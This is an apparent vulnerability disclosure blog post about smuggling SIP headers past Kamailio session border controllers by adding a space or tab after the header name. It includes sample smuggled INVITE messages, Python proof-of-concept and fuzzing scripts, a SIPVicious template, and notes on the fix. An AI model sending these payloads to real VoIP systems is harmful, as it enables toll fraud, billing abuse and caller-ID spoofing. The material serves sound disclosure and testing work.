Skip to main content
Sandro Gauci

Sandro Gauci, Enable Security

Smuggling SIP headers past Session Border Controllers FTW!

Last updated on Sep 1, 2020 in , , ,

Executive summary (TL;DR)

SIP Header smuggling is a thing; in some cases it may be super-bad. It affected Kamailio and we have published a Github project to easily demonstrate and test this for yourself. Kamailio has since fixed the issue in release 5.4.0 but similar issues are likely to affect other SBCs.

Smuggling headers with Max Headroom

Usage of special SIP headers

When it comes to trusted SIP networks, one of the primary ways that information is passed across different hops is through SIP headers. Some of these headers are quite standard, such as the P-Asserted-Identity header, while many are custom and specific to the requirements of the business logic and infrastructure. During our work, we have seen headers being passed to identify authenticated customers, to store information such as the source IP for a particular SIP message (which could be used for authentication purposes), to pass the name of the SIP trunk originating a call and of course, for billing purposes.

All of these examples have major security implications if such SIP headers are sent by potential attackers. As a result, normally, when such SIP headers are used internally, they are filtered at the edge by a session border controller, or similar device. When Kamailio is used for these purposes, this would be done using the remove_hf() function so that in Kamailio configuration files you might see something like the following:

remove_hf("X-msisdn"); // don't allow caller ID spoofing
remove_hf("X-user-id"); // remove user-id header before setting it

This works pretty well and is the correct pattern for protecting your internal SIP infrastructure from attackers inserting headers that might be trusted on your SIP infrastructure. So, this begs the question - what could possibly go wrong?

Two words: header smuggling.

How did we bypass this protection?

By inserting a space or a tab after the header name in a SIP header, we were able to smuggle SIP headers past Kamailio, downstream to the SIP entity, Asterisk in this case, that would eventually do something with it. The reason behind this is that Kamailio’s remove_hf() function (and some some other functions too) did not correctly parse header names with spaces in them, while pjsip in Asterisk actually did.

We demonstrated this vulnerability during a recent VoIP pentest and, in this particular case, it could be abused for toll fraud, billing other customers and also caller-ID spoofing.

The following is example of a SIP message that would, in the case of a vulnerable Kamailio, bypass remove_hf("X-Break-Stuff"):

INVITE sip:+4912341234@example.org SIP/2.0
Via: SIP/2.0/UDP 192.168.188.69:58895;rport;branch=z9hG4bK-nn2KBdnPjZnOkdM2
Max-Forwards: 70
From: <sip:+4923452345@example.org>;tag=V7fPPYLEhlg2fUSb
To: sip:whatever@whatever.local
Call-ID: a43qQkERC2FcmTCP
CSeq: 2 INVITE
Contact: <sip:+4923452345@192.168.188.69:58895;transport=udp>
X-Break-Stuff : 1
Content-Length: 247
Content-Type: application/sdp
Proxy-Authorization: Digest username="...",algorithm=MD5

v=0
o=- 1594970047 1594970047 IN IP4 192.168.188.69
s=-
c=IN IP4 192.168.188.69
t=0 0
m=audio 50638 RTP/AVP 101 0 8 96
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:96 opus/8000/2
a=rtpmap:101 telephone-event/8000/1
a=sendrecv

Note that the space character (0x20) is right after X-Break-Stuff, which could incidentally, also be a tab character (0x09).

We cannot claim much bravado here. The truth is, this is very similar to HTTP request smuggling vulnerabilities although there are some key differences. What we’re concerned about in this particular case, is the smuggling of SIP headers rather than whole SIP requests.

Only header names that are not defined in src/core/parser/parse_hname2.c were affected since standard headers defined in the referenced C file were correctly parsed and index. Thus one couldn’t abuse this vulnerability to smuggle a fake caller-id past remove_hf("P-Asserted-Identity"). On the other hand, we did see cases where internal IDs are passed through special SIP headers that would indicate which caller-ID to use. Such cases are what we are concerned about here.

How to set up your own demo for this exploit

To try this out for yourself, we encourage you to make use of a specially created docker-compose environment on our GitHub to show this security issue and perhaps, also find similar ones in Kamailio. The environment setup involves a Kamailio server in front of an Asterisk server which removes a header called X-Bypass-me, using the following configuration:

request_route {
    remove_hf("X-Bypass-me");
    // more lines
}

The Kamailio in the test environment has already been configured to forward everything to an Asterisk server which happens to process the X-Bypass-me header in its dialplan. In the test setup, you’ll notice the following dialplan entries:

[anon]
exten = headerbypass,1,Verbose(1, "User ${CALLERID(num)} calling extension")
 same = n,Set(HDR=${PJSIP_HEADER(read,X-Bypass-me)})
 same = n,Set(CHR=${PJSIP_HEADER(read,call-id)})
 same = n,GotoIf($[${HDR}]?internal,bypassed,1)
 same = n,Hangup()

[internal]
exten = bypassed,1,Log(ERROR, "Header X-Bypass-me is ${HDR}, character: ${CHR}")
 same = n,Answer()
 same = n,Hangup()

The above dialplan contains a context called anon, where incoming calls to an extension called headerbypass are handled. If the header X-Bypass-me has a value (such as yes please), then the incoming call is routed to the internal context, where the call is answered. Of course, in real life something like this could allow for outbound calls anonymously, thus leading to toll fraud, amongst other possibilities.

To reproduce this issue using python, one could execute the following simple script and observe the result:

sipmsg  = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"

target = ("127.0.0.1",5060)

import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
    data,addr=s.recvfrom(4096)
    print(data.decode("utf-8"))
    time.sleep(5)

SIPVicious PRO users could make use of the SIP call utility to show the expected behaviour by running sipvicious sip utils call tcp://127.0.0.1:5060 -e headerbypass and observing output similar to the following:

INFO[2020-08-04 12:43:47] Sending INVITE to tcp://127.0.0.1:5060 for sip:h6DuUtiw@127.0.0.1 
INFO[2020-08-04 12:43:47] Received 603 Decline
INFO[2020-08-04 12:43:47] Results map[]

This means that the dialplan did not find the header and therefore executed the Hangup() application.

To actually demonstrate this issue, SIPVicious PRO users could make then use of a custom INVITE request template with the following contents:

INVITE {{.RequestURI}} SIP/2.0
Via: SIP/2.0/{{.AddrFamily}} {{.LocalAddr}};rport;branch=z9hG4bK-{{.Branch}}
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} INVITE
Contact: {{.ContactVal}}
X-Bypass-me : yes please
Content-Length: {{.Body | len}}
Content-Type: application/sdp

{{.Body -}}

Note that this is simply the standard INVITE request template with the additional header containing the space. This should be saved in a file called inviterequest.tpl in the current working directory. Then the command to run would be sipvicious sip utils call tcp://127.0.0.1:5060 -e headerbypass (same as previously) which should show the following output:

INFO[2020-08-04 12:48:26] Sending INVITE to tcp://127.0.0.1:5060 for sip:eIyzMQq1@127.0.0.1
INFO[2020-08-04 12:48:26] Call picked up by sip:headerbypass@127.0.0.1
INFO[2020-08-04 12:48:26] Playing music.wav

Of course, one should remove the space in front of X-Bypass-me and observe the former behaviour, i.e. 603 Decline.

How to find similar bypasses

This header smuggling vulnerability was reported to Kamailio and has now been addressed in the latest release (5.4.0), but we did find very similar vulnerabilities in other SBC solutions in the past. If you are using your own SBC, perhaps a proprietary one, you might want to discover similar header smuggling vulnerabilities. We made use of the following python script to discover that white-space characters bypass the remove_hf() function in Kamailio:

sipmsg  = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me%s: lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"

target = ("127.0.0.1",5060)

import socket
import time
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
for i in range(256):
    data = sipmsg % (i,i,i,chr(i))
    s.sendto(data.encode("utf-8"), target)
time.sleep(5)

One should notice the following lines of interest in the Asterisk logs, indicating which characters allowed the header to be smuggled:

Ext. headerbypass:4 @ anon:  Header X-Bypass-me is lol, character: 9
Ext. headerbypass:4 @ anon:  Header X-Bypass-me is lol, character: 32

There are various other vulnerability discovery methods that may be of interest. We often find that fuzzing using a tool like radamsa integrated within a tool like the above can lead to unexpected ways to bypass header removal. As such, the vulnerability researcher would be interested in differences in the interpretation or parsing of the headers across the SBC and the downstream SIP servers.

How Kamailio addressed this issue

This issue was reported by to Kamailio which was patched upstream in just a few minutes, initially by making use of a function to trim white spaces in the header parsing functionality. We congratulate the Kamailio team, especially the project leader Daniel for (quite possibly) winning the award of fastest security fix. The same code was later rewritten to actually eliminate the possibility of similar issues by only allowing specific characters in the header names. We recommend making use of the latter fix if manually porting security patches into your own Kamailio codebase.

Kamailio has since issued a new release, version 5.4.0, which includes these code changes and therefore does not exhibit the aforementioned vulnerability.

In cases where one cannot upgrade the Kamailio code, or perhaps one needs to temporarily address this issue until new code is deployed to production, it has been suggested to make use of regular expressions to cover white-space characters with remove_hf_re.

More on demonstrating this issue

Please check out the advisory’s repro directory which contains a docker-compose setup, and the python scripts referenced in this post.

Conclusion

Header smuggling in SIP may be a critical vulnerability for some, since it leads to spoofing of trusted SIP headers. In assessing the impact of this vulnerability, however, one needs to understand the business logic that it affects. Do keep in mind that although we found this particular issue in Kamailio, it is prevalent in other SBCs and other edge SIP entities. Of course, that’s where vulnerability testing and fuzzing exercises can help ;-)


Sandro Gauci

Sandro Gauci

CEO, Chief Mischief Officer at Enable Security

Sandro Gauci leads the operations and research at Enable Security. He is the original developer of SIPVicious OSS, the SIP security testing toolset. His role is to focus on the vision of the company, design offensive security tools and engage in security research and testing. Therefore, he is the proud owner of the title of Chief Mischief Officer at Enable Security.

He offers public office hours and is reachable here.